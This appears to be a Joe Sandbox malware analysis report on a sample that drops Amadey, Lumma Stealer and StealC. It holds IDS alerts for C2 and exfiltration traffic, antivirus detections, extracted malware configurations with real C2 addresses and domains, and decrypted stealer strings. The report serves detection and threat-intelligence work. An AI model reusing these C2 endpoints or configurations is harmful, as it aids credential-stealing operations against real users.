2024-10-30T21:56:31.653187+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50244	188.114.96.3	443	TCP
2024-10-30T21:56:32.369210+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50245	188.114.96.3	443	TCP
2024-10-30T21:56:33.171724+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50246	188.114.96.3	443	TCP
2024-10-30T21:56:35.562284+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50249	188.114.96.3	443	TCP
2024-10-30T21:56:37.247394+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50253	188.114.96.3	443	TCP
2024-10-30T21:56:39.920035+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50258	188.114.96.3	443	TCP
2024-10-30T21:56:40.274582+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50259	188.114.96.3	443	TCP
2024-10-30T21:56:41.724592+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50262	188.114.96.3	443	TCP
2024-10-30T21:56:42.594993+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50264	188.114.96.3	443	TCP
2024-10-30T21:56:44.648833+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50271	188.114.96.3	443	TCP
2024-10-30T21:56:45.213849+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50272	188.114.96.3	443	TCP
2024-10-30T21:56:49.767554+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50282	188.114.96.3	443	TCP
2024-10-30T21:56:52.509332+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50290	188.114.96.3	443	TCP
2024-10-30T21:56:56.877572+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50294	188.114.96.3	443	TCP
2024-10-30T21:56:59.372512+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50296	188.114.96.3	443	TCP
2024-10-30T21:57:02.064463+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50302	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:20.421608+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49712	185.215.113.16	80	TCP
2024-10-30T21:56:35.423732+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50247	185.215.113.16	80	TCP
2024-10-30T21:56:36.363869+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50250	185.215.113.16	80	TCP
2024-10-30T21:56:46.962026+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50278	185.215.113.16	80	TCP
2024-10-30T21:57:03.587449+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50306	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:56:18.165627+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50231	185.215.113.43	80	TCP
2024-10-30T21:56:27.564015+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50239	185.215.113.43	80	TCP
2024-10-30T21:56:35.425071+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50248	185.215.113.43	80	TCP
2024-10-30T21:56:43.401911+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50266	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:07.266413+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	49432	1.1.1.1	53	UDP
2024-10-30T21:56:17.333820+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	50205	1.1.1.1	53	UDP
2024-10-30T21:56:29.298746+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	63390	1.1.1.1	53	UDP
2024-10-30T21:56:39.586588+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	61354	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:07.280284+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	59031	1.1.1.1	53	UDP
2024-10-30T21:56:17.348584+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	51829	1.1.1.1	53	UDP
2024-10-30T21:56:29.314005+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	60704	1.1.1.1	53	UDP
2024-10-30T21:56:39.606940+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	53046	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:07.306968+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.5	53590	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:07.249467+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	59329	1.1.1.1	53	UDP
2024-10-30T21:56:17.317609+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	59738	1.1.1.1	53	UDP
2024-10-30T21:56:29.283393+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	65441	1.1.1.1	53	UDP
2024-10-30T21:56:39.571888+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	63515	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:07.294207+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	51711	1.1.1.1	53	UDP
2024-10-30T21:56:17.361444+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	58736	1.1.1.1	53	UDP
2024-10-30T21:56:29.330782+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	64757	1.1.1.1	53	UDP
2024-10-30T21:56:39.628101+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	57616	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:15.583911+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	188.114.96.3	443	TCP
2024-10-30T21:56:27.430263+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50238	188.114.96.3	443	TCP
2024-10-30T21:56:59.381723+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50296	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:56:27.888749+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50240	185.215.113.206	80	TCP
2024-10-30T21:56:41.845267+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50261	185.215.113.206	80	TCP
2024-10-30T21:56:53.845384+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50291	185.215.113.206	80	TCP
2024-10-30T21:57:04.031321+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50303	185.215.113.206	80	TCP
2024-10-30T21:57:16.973595+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50335	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:56:05.446755+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50176	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:56:17.241541+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50190	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:56:08.837338+0100	2803305	3	Unknown Traffic	192.168.2.5	50196	185.215.113.16	80	TCP
2024-10-30T21:56:19.091673+0100	2803305	3	Unknown Traffic	192.168.2.5	50233	185.215.113.16	80	TCP
2024-10-30T21:56:28.554237+0100	2803305	3	Unknown Traffic	192.168.2.5	50241	185.215.113.16	80	TCP
2024-10-30T21:56:36.363869+0100	2803305	3	Unknown Traffic	192.168.2.5	50250	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:16.736929+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49710	188.114.96.3	443	TCP
2024-10-30T21:56:29.183887+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50242	188.114.96.3	443	TCP
2024-10-30T21:56:43.076390+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50264	188.114.96.3	443	TCP
2024-10-30T21:56:59.381723+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50296	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\EGCHWF62L351BCP5BKZSSW.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000003.2352124084.00000000055B0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: c1b0009d40.exe.6552.25.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["necklacedmny.store", "presticitpo.store", "thumbystriw.store", "founpiuer.store", "scriptyprefej.store", "navygenerayk.store", "fadehairucw.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\E7HQ3XMUO6VYIDJ3F2DE2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EGCHWF62L351BCP5BKZSSW.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: 30
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: 11
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: 20
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: 24
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetProcAddress
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: LoadLibraryA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: lstrcatA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: OpenEventA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CreateEventA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CloseHandle
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Sleep
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: VirtualFree
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetSystemInfo
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: VirtualAlloc
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: HeapAlloc
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetComputerNameA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: lstrcpyA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetProcessHeap
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetCurrentProcess
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: lstrlenA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: ExitProcess
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetSystemTime
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: advapi32.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: gdi32.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: user32.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: crypt32.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: ntdll.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetUserNameA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CreateDCA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetDeviceCaps
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: ReleaseDC
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: sscanf
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: VMwareVMware
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: HAL9TH
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: JohnDoe
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: DISPLAY
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: http://185.215.113.206
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: bksvnsj
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: tale
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetFileAttributesA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GlobalLock
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: HeapFree
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetFileSize
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GlobalSize
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: IsWow64Process
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Process32Next
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetLocalTime
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: FreeLibrary
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: Process32First
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: DeleteFileA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: FindNextFileA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: LocalFree
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: FindClose
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: LocalAlloc
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetFileSizeEx
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: ReadFile
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SetFilePointer
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: WriteFile
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CreateFileA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: FindFirstFileA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CopyFileA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: VirtualProtect
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetLastError
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: lstrcpynA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GlobalFree
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GlobalAlloc
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: OpenProcess
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: TerminateProcess
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: gdiplus.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: ole32.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: bcrypt.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: wininet.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: shlwapi.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: shell32.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: psapi.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SelectObject
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: BitBlt
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: DeleteObject
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GdiplusStartup
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GdiplusShutdown
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GdipDisposeImage
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GdipFree
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CoUninitialize
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CoInitialize
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CoCreateInstance
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: BCryptDecrypt
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: BCryptSetProperty
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetWindowRect
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetDesktopWindow
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetDC
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CloseWindow
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: wsprintfA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CharToOemW
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: wsprintfW
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: RegQueryValueExA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: RegCloseKey
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: RegEnumValueA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: CryptUnprotectData
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: ShellExecuteExA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: InternetConnectA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: InternetCloseHandle
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: InternetOpenA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: HttpSendRequestA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: InternetReadFile
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: StrCmpCA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: StrStrA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: StrCmpCW
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: PathMatchSpecA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: RmStartSession
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: RmRegisterResources
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: RmGetList
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: RmEndSession
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: sqlite3_open
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: sqlite3_step
Source: 31.2.7a5878ed96.exe.5c0000.0.unpack	String decryptor: sqlite3_column_text
